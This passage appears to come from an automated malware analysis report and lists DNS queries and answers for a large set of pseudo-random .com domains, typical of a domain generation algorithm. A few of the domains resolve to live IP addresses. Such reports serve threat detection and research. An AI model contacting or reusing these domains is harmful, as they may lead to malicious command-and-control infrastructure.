                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.408982992 CET192.168.2.41.1.1.10x92d4Standard query (0)qekyhug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.409161091 CET192.168.2.41.1.1.10x51c3Standard query (0)vonyryk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.409331083 CET192.168.2.41.1.1.10x4f36Standard query (0)lyxymix.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.409481049 CET192.168.2.41.1.1.10x64b4Standard query (0)puvywal.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.409593105 CET192.168.2.41.1.1.10xa1f7Standard query (0)galyhib.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.410063982 CET192.168.2.41.1.1.10x4192Standard query (0)lymytuj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.425666094 CET192.168.2.41.1.1.10x765aStandard query (0)vojygym.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.425666094 CET192.168.2.41.1.1.10x56f4Standard query (0)qegyfeq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.438359976 CET192.168.2.41.1.1.10x9c54Standard query (0)gahyfyh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.438623905 CET192.168.2.41.1.1.10xa9adStandard query (0)lygynyr.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.438688993 CET192.168.2.41.1.1.10x8015Standard query (0)volyjif.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.439068079 CET192.168.2.41.1.1.10xc40cStandard query (0)lykygun.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.439254999 CET192.168.2.41.1.1.10xcfb5Standard query (0)vofybet.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.439563990 CET192.168.2.41.1.1.10xd55aStandard query (0)lykymij.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.439752102 CET192.168.2.41.1.1.10x7836Standard query (0)puzymup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.440051079 CET192.168.2.41.1.1.10xe190Standard query (0)gacykas.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.440109968 CET192.168.2.41.1.1.10xa11aStandard query (0)gatycis.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.440396070 CET192.168.2.41.1.1.10x159aStandard query (0)vocykec.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.445466995 CET192.168.2.41.1.1.10x4e5eStandard query (0)puvylep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.445466995 CET192.168.2.41.1.1.10x2c0aStandard query (0)gadyvez.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.445792913 CET192.168.2.41.1.1.10xa435Standard query (0)pumytyq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.445976019 CET192.168.2.41.1.1.10x6b77Standard query (0)qedyvap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.446146965 CET192.168.2.41.1.1.10x381aStandard query (0)lyryson.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.446471930 CET192.168.2.41.1.1.10xa93eStandard query (0)lysyvax.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.447253942 CET192.168.2.41.1.1.10xe7d0Standard query (0)pujymiq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.448086977 CET192.168.2.41.1.1.10xb234Standard query (0)vojymuk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.448086977 CET192.168.2.41.1.1.10xc5ffStandard query (0)qeqytuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.448570967 CET192.168.2.41.1.1.10xf35cStandard query (0)qekyqoq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.448570967 CET192.168.2.41.1.1.10x49b8Standard query (0)qebyrel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.448831081 CET192.168.2.41.1.1.10x3805Standard query (0)ganyzuz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.449322939 CET192.168.2.41.1.1.10x8bd3Standard query (0)vopydaf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.452522993 CET192.168.2.41.1.1.10x2c24Standard query (0)gatydab.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.452675104 CET192.168.2.41.1.1.10xa49eStandard query (0)lyvylyx.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.452775955 CET192.168.2.41.1.1.10x145fStandard query (0)qetysog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.453028917 CET192.168.2.41.1.1.10xcfebStandard query (0)qegynul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.453028917 CET192.168.2.41.1.1.10xc4ecStandard query (0)gahynuw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.453213930 CET192.168.2.41.1.1.10xa5d1Standard query (0)purypig.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.453536034 CET192.168.2.41.1.1.10x1045Standard query (0)pufybyl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.453536034 CET192.168.2.41.1.1.10x87dStandard query (0)gaqypuh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.454905033 CET192.168.2.41.1.1.10xf70fStandard query (0)vowypim.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.454905033 CET192.168.2.41.1.1.10xf17cStandard query (0)lyxyjod.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.456638098 CET192.168.2.41.1.1.10x9383Standard query (0)puzyjov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.457000017 CET192.168.2.41.1.1.10x6d27Standard query (0)qexykav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.853899002 CET192.168.2.41.1.1.10x7296Standard query (0)pujybev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.854690075 CET192.168.2.41.1.1.10xf914Standard query (0)gatypuz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.858205080 CET192.168.2.41.1.1.10x7a57Standard query (0)lyvyjoj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.863401890 CET192.168.2.41.1.1.10x64eeStandard query (0)lykynyd.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.873285055 CET192.168.2.41.1.1.10xd3e7Standard query (0)vopyput.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.873285055 CET192.168.2.41.1.1.10xe800Standard query (0)qebykoq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.873560905 CET192.168.2.41.1.1.10xf819Standard query (0)vojybef.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.873804092 CET192.168.2.41.1.1.10x6ddaStandard query (0)puvyjiq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.875339985 CET192.168.2.41.1.1.10xaaf0Standard query (0)lysysir.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.875339985 CET192.168.2.41.1.1.10xaafeStandard query (0)qedysol.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.879857063 CET192.168.2.41.1.1.10xe0e0Standard query (0)galyfez.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.879857063 CET192.168.2.41.1.1.10x2f5aStandard query (0)gacyhuw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.880883932 CET192.168.2.41.1.1.10xdeb2Standard query (0)qegyvag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.883038998 CET192.168.2.41.1.1.10xf039Standard query (0)lysyxuj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.883038998 CET192.168.2.41.1.1.10x78f8Standard query (0)gahyvab.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.883704901 CET192.168.2.41.1.1.10x84e2Standard query (0)pufypuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.885750055 CET192.168.2.41.1.1.10x39d1Standard query (0)vocyjik.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.895201921 CET192.168.2.41.1.1.10x1755Standard query (0)lyrytyx.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.895201921 CET192.168.2.41.1.1.10x75ecStandard query (0)purytyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.896004915 CET192.168.2.41.1.1.10xfdc9Standard query (0)volymuc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.896275997 CET192.168.2.41.1.1.10x1799Standard query (0)qekynyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.896950006 CET192.168.2.41.1.1.10x8af2Standard query (0)lygyvon.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.896996975 CET192.168.2.41.1.1.10xd8c5Standard query (0)pumywov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.897449017 CET192.168.2.41.1.1.10x2ca1Standard query (0)vowyrec.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.897524118 CET192.168.2.41.1.1.10xe2bStandard query (0)qexyhul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.900419950 CET192.168.2.41.1.1.10xe046Standard query (0)vonykam.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.900419950 CET192.168.2.41.1.1.10xff4bStandard query (0)qedyxuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.901098013 CET192.168.2.41.1.1.10xebc3Standard query (0)puzygyl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.901098013 CET192.168.2.41.1.1.10xb3c2Standard query (0)pufycog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.901653051 CET192.168.2.41.1.1.10x99e2Standard query (0)pumyleg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.902165890 CET192.168.2.41.1.1.10x25b3Standard query (0)galynus.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.902558088 CET192.168.2.41.1.1.10x2473Standard query (0)ganykah.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.903189898 CET192.168.2.41.1.1.10x2497Standard query (0)qetytup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.904799938 CET192.168.2.41.1.1.10xb26cStandard query (0)gadycih.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.905699015 CET192.168.2.41.1.1.10xe3dbStandard query (0)gaqyres.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.905965090 CET192.168.2.41.1.1.10x36faStandard query (0)pupypil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.918862104 CET192.168.2.41.1.1.10x60f6Standard query (0)lymywad.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.918862104 CET192.168.2.41.1.1.10xbb70Standard query (0)volygyt.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.919241905 CET192.168.2.41.1.1.10x1b7Standard query (0)lymylen.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.922400951 CET192.168.2.41.1.1.10xba10Standard query (0)lyxygur.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.923162937 CET192.168.2.41.1.1.10xa771Standard query (0)vofycim.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.924118042 CET192.168.2.41.1.1.10x8640Standard query (0)qeqyrav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.926542997 CET192.168.2.41.1.1.10x5ff3Standard query (0)qekyfep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.933825970 CET192.168.2.41.1.1.10x8d76Standard query (0)vonyqof.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.938637972 CET192.168.2.41.1.1.10x4b9bStandard query (0)lygysid.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.938749075 CET192.168.2.41.1.1.10x1bd6Standard query (0)qexynyq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.950438023 CET192.168.2.41.1.1.10x10ddStandard query (0)pupyxuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.951797962 CET192.168.2.41.1.1.10x70ebStandard query (0)vopyzyk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.952060938 CET192.168.2.41.1.1.10x6685Standard query (0)qebyqig.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.952467918 CET192.168.2.41.1.1.10x7328Standard query (0)pujydap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.952697039 CET192.168.2.41.1.1.10xd4f7Standard query (0)ganyqib.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.953705072 CET192.168.2.41.1.1.10x93e5Standard query (0)lyvymun.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.954040051 CET192.168.2.41.1.1.10xeca5Standard query (0)gatyzyw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.954236031 CET192.168.2.41.1.1.10x6d23Standard query (0)vojydoc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.954430103 CET192.168.2.41.1.1.10x8dc3Standard query (0)qetylel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.954933882 CET192.168.2.41.1.1.10x3fbaStandard query (0)puvymug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.955208063 CET192.168.2.41.1.1.10xb504Standard query (0)qegysiv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.955491066 CET192.168.2.41.1.1.10x7805Standard query (0)gahydos.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.955491066 CET192.168.2.41.1.1.10xf6a5Standard query (0)vocymum.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.955691099 CET192.168.2.41.1.1.10x6fe3Standard query (0)lykyfax.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.955851078 CET192.168.2.41.1.1.10x2410Standard query (0)vowykat.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.956000090 CET192.168.2.41.1.1.10x86e5Standard query (0)lyryler.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.956232071 CET192.168.2.41.1.1.10x76b1Standard query (0)gacynyh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.957880974 CET192.168.2.41.1.1.10x88d7Standard query (0)purylal.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.999174118 CET192.168.2.41.1.1.10xaa52Standard query (0)vofypuf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.999174118 CET192.168.2.41.1.1.10x4f78Standard query (0)gadypub.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.999322891 CET192.168.2.41.1.1.10x5307Standard query (0)lyxynej.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:24.002444029 CET192.168.2.41.1.1.10x63b9Standard query (0)volybak.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:24.002981901 CET192.168.2.41.1.1.10xe722Standard query (0)gaqykoz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:24.011715889 CET192.168.2.41.1.1.10xa513Standard query (0)qedytyg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:24.012089014 CET192.168.2.41.1.1.10xa876Standard query (0)pumyjip.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:24.012603998 CET192.168.2.41.1.1.10xa4a8Standard query (0)galyvaw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:24.015645027 CET192.168.2.41.1.1.10x3fa1Standard query (0)vonyjuc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:24.015645027 CET192.168.2.41.1.1.10x2b0aStandard query (0)lysytyn.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:24.017040968 CET192.168.2.41.1.1.10xb4abStandard query (0)qeqykop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:24.017096996 CET192.168.2.41.1.1.10xc3bdStandard query (0)ganyhus.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:24.017882109 CET192.168.2.41.1.1.10x800aStandard query (0)pupyteg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:24.018338919 CET192.168.2.41.1.1.10xb76fStandard query (0)lykyvor.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:24.018683910 CET192.168.2.41.1.1.10xe5adStandard query (0)lymyjix.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:24.019573927 CET192.168.2.41.1.1.10xae5Standard query (0)qetyraq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:24.019573927 CET192.168.2.41.1.1.10xd8eeStandard query (0)vopyrem.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:24.020468950 CET192.168.2.41.1.1.10x236dStandard query (0)gatyrah.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:24.020468950 CET192.168.2.41.1.1.10x4b8fStandard query (0)qebyhuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:24.021151066 CET192.168.2.41.1.1.10x369bStandard query (0)vojycit.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:24.021558046 CET192.168.2.41.1.1.10xe661Standard query (0)qekyvol.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:24.021965981 CET192.168.2.41.1.1.10x360eStandard query (0)puvygyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:24.022439003 CET192.168.2.41.1.1.10x7ac1Standard query (0)pujycil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:24.024732113 CET192.168.2.41.1.1.10xce9aStandard query (0)puzybeq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:24.042054892 CET192.168.2.41.1.1.10x99b5Standard query (0)lyvygyd.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:24.054682016 CET192.168.2.41.1.1.10xea7cStandard query (0)purywoq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:24.057384014 CET192.168.2.41.1.1.10xc3adStandard query (0)qegyxup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:24.057919025 CET192.168.2.41.1.1.10xabffStandard query (0)vocygef.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:24.058243036 CET192.168.2.41.1.1.10xc13dStandard query (0)qeqyqul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:24.058346987 CET192.168.2.41.1.1.10x3a20Standard query (0)gahycuz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:24.058667898 CET192.168.2.41.1.1.10xe9e6Standard query (0)gaqyqiw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:24.058945894 CET192.168.2.41.1.1.10x3562Standard query (0)pufyxyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:24.059329987 CET192.168.2.41.1.1.10x1421Standard query (0)qexyfag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:24.059943914 CET192.168.2.41.1.1.10x2cbfStandard query (0)lyrywoj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:24.060098886 CET192.168.2.41.1.1.10x75beStandard query (0)lyxyfan.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:24.060415983 CET192.168.2.41.1.1.10x13cbStandard query (0)gacyfeb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:24.060681105 CET192.168.2.41.1.1.10x3d21Standard query (0)lygyxux.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:24.060910940 CET192.168.2.41.1.1.10x597Standard query (0)vowyqik.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:24.061449051 CET192.168.2.41.1.1.10x4edaStandard query (0)puzydog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:24.063805103 CET192.168.2.41.1.1.10xa392Standard query (0)vofyzyc.comA (IP address)IN (0x0001)false

                                                                                                                                                                                                                    DNS Answers

                                                                                                                                                                                                                    TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.395198107 CET1.1.1.1192.168.2.40xbc87Name error (3)qexyryl.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.395212889 CET1.1.1.1192.168.2.40x2e26Name error (3)qegyqaq.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.396173000 CET1.1.1.1192.168.2.40x1515Name error (3)qekyqop.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.430176973 CET1.1.1.1192.168.2.40xc0d9Name error (3)lyxywer.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.431101084 CET1.1.1.1192.168.2.40x4b51Name error (3)qeqyxov.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.432689905 CET1.1.1.1192.168.2.40xc45dName error (3)puzywel.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.434732914 CET1.1.1.1192.168.2.40xdf46Name error (3)purydyv.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.451514006 CET1.1.1.1192.168.2.40xead4Name error (3)vofygum.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.459573030 CET1.1.1.1192.168.2.40xc612Name error (3)qedyfyq.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.490108013 CET1.1.1.1192.168.2.40xe8a8Name error (3)volyqat.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.490385056 CET1.1.1.1192.168.2.40x577eName error (3)qetyvep.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.520724058 CET1.1.1.1192.168.2.40xf31dName error (3)pumyxiv.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.520903111 CET1.1.1.1192.168.2.40xfb25Name error (3)gadyfuh.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.553999901 CET1.1.1.1192.168.2.40x870Name error (3)vonyzuf.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.622414112 CET1.1.1.1192.168.2.40xeb8dNo error (0)qegyhig.com188.114.96.3A (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.622414112 CET1.1.1.1192.168.2.40xeb8dNo error (0)qegyhig.com188.114.97.3A (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.666362047 CET1.1.1.1192.168.2.40x7d01No error (0)lymyxid.com3.94.10.34A (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.755289078 CET1.1.1.1192.168.2.40x13c0Server failure (2)lysyfyj.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.794706106 CET1.1.1.1192.168.2.40x59f4No error (0)puzylyp.com75.2.71.199A (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.794706106 CET1.1.1.1192.168.2.40x59f4No error (0)puzylyp.com99.83.170.3A (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.943741083 CET1.1.1.1192.168.2.40xe720Name error (3)gacyzuz.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.952162981 CET1.1.1.1192.168.2.40x70e1Name error (3)gaqycos.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.962279081 CET1.1.1.1192.168.2.40x96ddName error (3)gahyhob.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.963541031 CET1.1.1.1192.168.2.40x4f7fName error (3)lykyjad.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.963865042 CET1.1.1.1192.168.2.40x104fName error (3)pupybul.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.964020014 CET1.1.1.1192.168.2.40x6b06Name error (3)gatyvyz.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.964116096 CET1.1.1.1192.168.2.40x8282Name error (3)pujyjav.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.965276957 CET1.1.1.1192.168.2.40x6ddcName error (3)vojyjof.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.966510057 CET1.1.1.1192.168.2.40xf947Name error (3)gacyryw.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.967283010 CET1.1.1.1192.168.2.40x4611Name error (3)vowycac.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.969683886 CET1.1.1.1192.168.2.40x827cName error (3)lyryvex.comnonenoneA (IP address)IN (0x0001)false
